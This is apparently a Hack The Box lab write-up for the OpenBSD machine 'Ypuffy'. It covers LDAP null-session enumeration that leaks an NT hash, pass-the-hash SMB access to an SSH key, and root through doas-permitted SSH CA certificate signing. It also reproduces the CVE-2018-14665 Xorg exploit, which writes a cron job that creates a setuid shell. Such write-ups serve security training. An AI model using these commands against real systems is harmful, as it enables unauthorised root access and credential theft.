



### Ypuffy

4<sup>th</sup> February 2019 / Document No D19.100.06

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**Difficulty: Medium** 

**Classification: Official** 

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### **SYNOPSIS**

Ypuffy is medium difficulty machine which highlights the danger of allowing LDAP null sessions. It also features an interesting SSH CA authentication privilege escalation, via the OpenBSD doas command. An additional privilege escalation involving Xorg is also possible.

### **Skills Required**

- Basic knowledge of LDAP and SMB enumeration tools
- Basic knowledge of Linux/BSD

### **Skills Learned**

- Crafting custom LDAP queries / manually finding the RootDSE
- Enumeration and exploitation of SSH
   CA authentication configurations

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#### **Enumeration**

### **N**map

```
masscan -p1-65535,U:1-65535 10.10.10.107 --rate=1000 -p1-65535,U:1-65535 -e tun0 > ports
ports=$(cat ports | awk -F " " '{print $4}' | awk -F "/" '{print $1}' | sort -n | tr '\n'
',' | sed 's/,$//')
nmap -Pn -sV -sC -p$ports 10.10.10.107
```

```
li:~/hackthebox/ypuffy# nmap -Pn -sV -sC -p$ports 10.10.10.107
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-05 17:35 EST
Nmap scan report for 10.10.10.107
Host is up (0.031s latency).
PORT
        STATE SERVICE
                           VERSION
22/tcp open ssh
                           OpenSSH 7.7 (protocol 2.0)
 ssh-hostkey:
    2048 2e:19:e6:af:1b:a7:b0:e8:07:2a:2b:11:5d:7b:c6:04 (RSA)
    256 dd:0f:6a:2a:53:ee:19:50:d9:e5:e7:81:04:8d:91:b6 (ECDSA)
    256 21:9e:db:bd:e1:78:4d:72:b0:ea:b4:97:fb:7f:af:91 (ED25519)
80/tcp open http OpenBSD httpd
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: YPUFFY)
389/tcp open ldap (Anonymous bind OK)
445/tcp open netbios-ssn Samba smbd 4.7.6 (workgroup: YPUFFY)
Service Info: Host: YPUFFY
Host script results:
 clock-skew: mean: 1h30m38s, deviation: 2h53m12s, median: -9m21s
 smb-os-discovery:
    OS: Windows 6.1 (Samba 4.7.6)
    Computer name: ypuffy
    NetBIOS computer name: YPUFFY\x00
    Domain name: hackthebox.htb
    FQDN: ypuffy.hackthebox.htb
    System time: 2019-02-05T17:26:40-05:00
  smb-security-mode:
    account used: <blank>
    authentication level: user
    challenge response: supported
    message_signing: disabled (dangerous, but default)
  smb2-security-mode:
    2.02:
      Message signing enabled but not required
```

Nmap shows that SSH, Samba, LDAP and OpenBSD's httpd Web Server are available.



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### **Inspection of Web Page**

An attempt is made to navigate to port 80, but the server sends a FIN packet to immediately close the connection.



### The connection was reset

The connection to the server was reset while the page was loading.

- The site could be temporarily unavailable or too busy. Try again in a few moments.
- If you are unable to load any pages, check your computer's network connection.
- If your computer or network is protected by a firewall or proxy, make sure that Firefox is permitted to access the Web.

Time	Source	Destination	Protocol	Length Info
1 0.000000000	10.10.14.19	10.10.10.107	TCP	60 52050 → 80 [SYN] Seq=0 Win=29200 Len=0 MSS=140
2 0.036103046	10.10.10.107	10.10.14.19	TCP	64 80 → 52050 [SYN, ACK] Seq=0 Ack=1 Win=16384 Le
3 0.036159859	10.10.14.19	10.10.10.107	TCP	52 52050 → 80 [ACK] Seq=1 Ack=1 Win=29312 Len=0 1
4 0.036414461	10.10.14.19	10.10.10.107	HTTP	364 GET / HTTP/1.1
5 0.076339203	10.10.10.107	10.10.14.19	TCP	52 80 → 52050 [FIN, ACK] Seq=1 Ack=313 Win=17472

After trial and error, a connection is attempted with an invalid HTTP verb, which returns an error.

### Request

Raw Headers Hex

YPUFFY / HTTP/1.1 Host: 10.10.10.107

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8

Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Content-Type: application/x-www-form-urlencoded

Content-Length: 0

<h1>400 Bad Request</h1>

<hr>

<address>OpenBSD httpd</address>

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### Searching for known vulnerabilities

The following software/versions are identified:

Samba 4.7.6

OpenSSH 7.7

LDAP (version unknown)

OpenBSD httpd (version unknown)

However, searchsploit doesn't reveal anything of interest. Attempting a null session SMB connection is also unsuccessful.



### Inspection of LDAP

In order to query the LDAP server for entries, it is necessary to know the RootDSE. This is the instance by which a directory data tree is identified.

This can be found using the Nmap script "Idap-rootdse.nse"

```
locate *ldap*.nse
nmap -Pn -p389 --script=ldap-rootdse.nse 10.10.10.107
```

```
root@kali:~/hackthebox/ypuffy# nmap -Pn -p389 --script=ldap-rootdse.nse 10.10.10.107
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-05 18:02 EST
Nmap scan report for 10.10.10.107
Host is up (0.033s latency).

PORT STATE SERVICE
389/tcp open ldap
| ldap-rootdse:
| LDAP Results
| <ROOT>
| supportedLDAPVersion: 3
| namingContexts: dc=hackthebox,dc=htb
| supportedExtension: 1.3.6.1.4.1.1466.20037
| subschemaSubentry: cn=schema
Nmap done: 1 IP address (1 host_up) scanned in 0.54 seconds
```

This accomplishes the task, but it would be good to understand how it did this. In IppSec's Ypuffy video, he shows how examination of network traffic can reveal what is going on underneath the hood. This is worth checking out.

This knowledge allows for custom Idapsearch queries can be crafted, which can return the RootDSE and other values.

The Nmap script is run and Wireshark captures the traffic. Examination of the LDAP packets reveals an "attributes" section of the packet.

No.	Time	Source	Destination	Drotocol	Length Info
INO.	10.000000				
	7 0.105807357	10.10.14.9	10.10.10.107	LDAP	66 bindRequest(1) " <root>" simple</root>
	8 0.136397104	10.10.10.107	10.10.14.9	LDAP	66 bindResponse(1) success
1	17 0.167955729	10.10.14.9	10.10.10.107	LDAP	91 searchRequest(1) " <root>" baseObject</root>
	18 0.199317998	10.10.10.107	10.10.14.9	LDAP	99 searchResEntry(1) " <root>"   searchRe</root>
	20 0.200162057	10.10.14.9	10.10.10.107	LDAP	594 searchRequest(2) " <root>" baseObject</root>
+	21 0.231943027	10.10.10.107	10.10.14.9	LDAP	233 searchResEntry(2) " <root>"   searchRe</root>

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```
    Filter: (objectclass=*)
    filter: present (7)
    present: objectclass
    attributes: 25 items
    AttributeDescription: _domainControllerFunctionality
    AttributeDescription: configurationNamingContext
    AttributeDescription: currentTime
    AttributeDescription: defaultNamingContext
    AttributeDescription: dnsHostName
    AttributeDescription: domainFunctionality
    AttributeDescription: dsServiceName
    AttributeDescription: forestFunctionality
    AttributeDescription: highestCommittedUSN
    AttributeDescription: isGlobalCatalogReady
    AttributeDescription: isSynchronized
```

Right-click on "attributes", select "Copy", then "...as Printable Text". After formatting into a single space-delimited line of LDAP attributes, the following Idapsearch query can be crafted.

ldapsearch -x -h 10.10.10.107 -s base domainControllerFunctionality configurationNamingContext currentTime defaultNamingContext dnsHostName domainFunctionality dsServiceName forestFunctionality highestCommittedUSN isGlobalCatalogReady isSynchronized ldap-get-baseobject ldapServiceName namingContexts rootDomainNamingContext schemaNamingContext serverName subschemaSubentry supportedCapabilities supportedControl supportedLDAPPolicies supportedLDAPVersion supportedSASLMechanisms altServer supportedExtension

Output from this reveals that the RootDSE is "dc=hackthebox,dc=htb".

```
# requesting: domainControllerFunctionality configurationNamingContext currentTimedefaultNamingContext dnsHo:
USN isGlobalCatalogReady isSynchronized ldap-get-baseobject ldapServiceName namingContexts rootDomainNamingCo
s supportedControl supportedLDAPPolicies supportedLDAPVersion supportedSASLMechanisms altServersupportedExter
#
dn:
supportedLDAPVersion: 3
namingContexts: dc=hackthebox,dc=htb
subschemaSubentry: cn=schema
# search result
search: 2
result: 0 Success
```

The following Idapsearch query can now be crafted, which will return the subitems of any object class, under the RootDSE.

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```
ldapsearch -x -h 10.10.10.107 -s sub '(objectclass=*)' -b "dc=hackthebox,dc=htb"
```

Of particular interest is the user "alice1978", who has an NT password hash stored in the "sambaNTPassword" attribute.

```
# alice1978, passwd, hackthebox.htb
dn: uid=alice1978,ou=passwd,dc=hackthebox,dc=htb
uid: alice1978
cn: Alice
objectClass: account
objectClass: posixAccount
objectClass: top
objectClass: sambaSamAccount
userPassword:: e0JTREFVVEh9YWxpY2Ux0Tc4
uidNumber: 5000
gidNumber: 5000
gecos: Alice
homeDirectory: /home/alice1978
loginShell: /bin/ksh
sambaSID: S-1-5-21-3933741069-3307154301-3557023464-1001
displayName: Alice
sambaAcctFlags: [U
sambaNTPassword: 0B186E661BBDBDCF6047784DE8B9FD8B
sambaPwdLastSet: 1532916644
```

An empty LM hash of the same length is generated, and combined to form the NTLM hash.

```
echo $(python -c "print str(0)*32"):0B186E661BBDBDCF6047784DE8B9FD8B
```



### Inspection of SMB

SMBMap accepts a password hash in place of a password, and a connection as "alice1978" is successful. The share "alice" is accessible and contains a PuTTY SSH private key.

This is downloaded, confirmed as PuTTY format and converted to OpenSSH format.

```
root@kali:~/hackthebox/ypuffy# cat 10.10.10.107-alice_my_private_key.ppk
PuTTY-User-Key-File-2: ssh-rsa
Encryption: none
Comment: rsa-key-20180716
Public-Lines: 6
AAAAB3NzaClyc2EAAAABJQAAAQEApV4X7z0KBv3TwDxpvcNsdQn4qmbXYPDtxcGz
1am2V3wNRkKR+gRb3FIPp+J4rCOS/S5skFPrGJLLFLeExz7Afvg6m2d0rSn02qux
BoLMq0VSFK5A0Ep5Hm8WZxy5wteK3RDx0HK0/aCvsaYPJa2zvxdtp1JGPbN5zBAj
h7U8op4/lIskHqr7DHtYeFpjZOM9duqlVxV7XchzW9XZe/7xTRrbthCvNcSC/Sxa
iA2jBW6n3dMsqpB8kq+b7RVnVXGbBK5p4n44JD2yJZgeDk+1JClS7ZUlbI5+6KWx
```

```
apt-get install putty-tools
puttygen 10.10.10.107-alice_my_private_key.ppk -0 private-openssh -o alice.pem
```



### **Foothold**

### **Enumeration**

#### doas

After connecting over SSH, LinEnum identifies the system as OpenBSD 6.3, and reveals the user "userca". A CA certificate pair is in the user's home directory.

sudo is not available, but OpenBSD's "doas" utility allows for much the same functionality. Examination of the file /etc/doas.conf reveals that alice is permitted to run /usr/bin/ssh-keygen as userca, without having to enter a password.

```
ypuffy$ sudo -l
ksh: sudo: not found
ypuffy$
ypuffy$ doas
usage: doas [-Lns] [-a style] [-C config] [-u user] command [args]
ypuffy$
ypuffy$
ypuffy$ cat /etc/doas.conf
permit keepenv :wheel
permit nopass alice1978 as userca cmd /usr/bin/ssh-keygen
```

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### Web server

A request to the webpage is sent from inside the machine, but again this yields no output. Examination of webroot reveals several potentially interesting folders.

```
ypuffy$ curl http://127.0.0.1/
curl: (52) Empty reply from server
ypuffy$
ypuffy$ ls -al /var/www/
total 44
drwxr-xr-x 11 root
                      daemon 512 Jul 30 2018 .
                                         2018 ..
drwxr-xr-x 27 root
                     wheel
                             512 Jul 30
                      daemon 512 Mar 24
drwxr-xr-x
            2 root
                                         2018 acme
                     daemon 512 Mar 24 2018 bin
drwxr-xr-x
            2 root
          2 www
drwx----T
                      daemon 512 Mar 24
                                         2018 cache
drwxr-xr-x 2 root
                      daemon 512 Mar 24 2018 cgi-bin
drwxr-xr-x 2 root
                      daemon 512 Jul 29 2018 conf
drwxr-xr-x
            3 root
                      daemon
                             512 Mar 24
                                         2018 htdocs
drwxr-xr-x
            2 root
                      daemon
                             512 Jul 31
                                         2018 logs
                      daemon 512 Jul 30
drwxr-xr-x
            3 root
                                         2018 run
drwxr-xr-x
            2 userca userca 512 Jul 30 2018 userca
```

The access log is checked, and requests to /sshauth are visible.

```
ypuffy$ cat /var/www/logs/access.log
ypuffy.hackthebox.htb 127.0.0.1 - - [31/Jul/2018:23:36:34 -0400] "GET /sshauth?type=keys%26username=root HTTP/1.1" 200 0
ypuffy.hackthebox.htb 127.0.0.1 - - [31/Jul/2018:23:36:34 -0400] "GET /sshauth?type=keys%26username=root HTTP/1.1" 200 0
ypuffy.hackthebox.htb 127.0.0.1 - - [31/Jul/2018:23:37:37 -0400] "GET /sshauth?type=keys%26username=root HTTP/1.1" 200 0
ypuffy.hackthebox.htb 127.0.0.1 - - [31/Jul/2018:23:37:37 -0400] "GET /sshauth?type=keys%26username=root HTTP/1.1" 200 0
```

Requests are sent to this URL, and the RSA key for alice1978 is returned, although nothing is returned for root.

```
curl 'http://127.0.0.1/sshauth?type=keys&username=alice1978'

ypuffy$ curl 'http://127.0.0.1/sshauth?type=keys&username=alice1978'
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEApV4X7z0KBv3TwDxpvcNsdQn4qmbXYPDtxcGz1am2V3wNRkKR+gRb3FIPp+J4rC0S/S5skFPrG.vxdtp1JGPbN5zBAjh7U8op4/IskHqr7DHtYeFpjZOM9duqlVxV7XchzW9XZe/7xTRrbthCvNcSC/SxaiA2jBW6n3dMsqpB8kq+b7RVnVXGbBrqyHcVR/Ufw== rsa-key-20180716
ypuffy$
ypuffy$ curl 'http://127.0.0.1/sshauth?type=keys&username=root'
ypuffy$
```

The httpd configuration file is checked, which reveals that requests to the /sshauth path are handled by a Python/WSGI application.

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### SSH

The SSH config file is examined, which reveals that the previous URL can also contain a "principals" parameter.

### less /etc/ssh/sshd\_config

```
AuthorizedKeysFile .ssh/authorized_keys

#AuthorizedPrincipalsFile none

AuthorizedKeysCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=keys&username=%u
AuthorizedKeysCommandUser nobody

TrustedUserCAKeys /home/userca/ca.pub
AuthorizedPrincipalsCommand /usr/local/bin/curl http://127.0.0.1/sshauth?type=principals&username=%u
AuthorizedPrincipalsCommandUser nobody
```

This URL is requested with various system users specified. SSH CA authentication maps the principal "3m3rgencyB4ckd00r" to root.

```
ypuffy$ curl 'http://127.0.0.1/sshauth?type=principals&username=alice1978'
alice1978
ypuffy$ curl 'http://127.0.0.1/sshauth?type=principals&username=userca'
ypuffy$
ypuffy$ curl 'http://127.0.0.1/sshauth?type=principals&username=root'
3m3rgencyB4ckd00r
```

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### **Privilege Escalation**

### Signing root SSH key

In the Ypuffy video, IppSec exploits this scenario by first generating an SSH key pair for root.

The key is signed using the CA certificate, with the principal "3m3rgencyB4ckd00r" specified. It is now possible to login as root using the signed SSH key and gain the root flag.

```
doas -u userca /usr/bin/ssh-keygen -s /home/userca/ca -n 3m3rgencyB4ckd00r -I root
root
```

```
ypuffy$ doas -u userca /usr/bin/ssh-keygen -s /home/userca/ca -n 3m3rgencyB4ckd00r -I root root
Signed user key root-cert.pub: id "root" serial 0 for 3m3rgencyB4ckd00r valid forever
ypuffy$
ypuffy$ ssh root@localhost -i root
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:oYYpshmLOvkyebJUObgH6bxJkOGRu7xsw3r7ta0LCzE.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'localhost' (ECDSA) to the list of known hosts.
OpenBSD 6.3 (GENERIC) #100: Sat Mar 24 14:17:45 MDT 2018
Welcome to OpenBSD: The proactively secure Unix-like operating system.
Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code. With bug reports, please try to ensure that enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.
ypuffy# wc -c /root/root.txt
       33 /root/root.txt
ypuffy#
```



### **Additional Privilege Escalation**

### Xorg

The xorg-x11-server package on the system suffers from a root privilege escalation vulnerability (CVE-2018-14665). This vulnerability was discovered by Narendra Shinde (@nushinde), while the exploit code below was authored by Marco Ivaldi (@0xdea).

https://lists.x.org/archives/xorg-announce/2018-October/002927.html https://www.exploit-db.com/exploits/45742

```
cat << EOF > /tmp/xorgasm
cp /bin/sh /usr/local/bin/pwned
chmod 4777 /usr/local/bin/pwned
EOF
chmod +x /tmp/xorgasm
```

```
cd /etc
Xorg -fp "* * * * root /tmp/xorgasm" -logfile crontab :1 &
sleep 5
pkill Xorg
```

```
ls -l /etc/crontab*
ls -l /usr/local/bin/pwned
```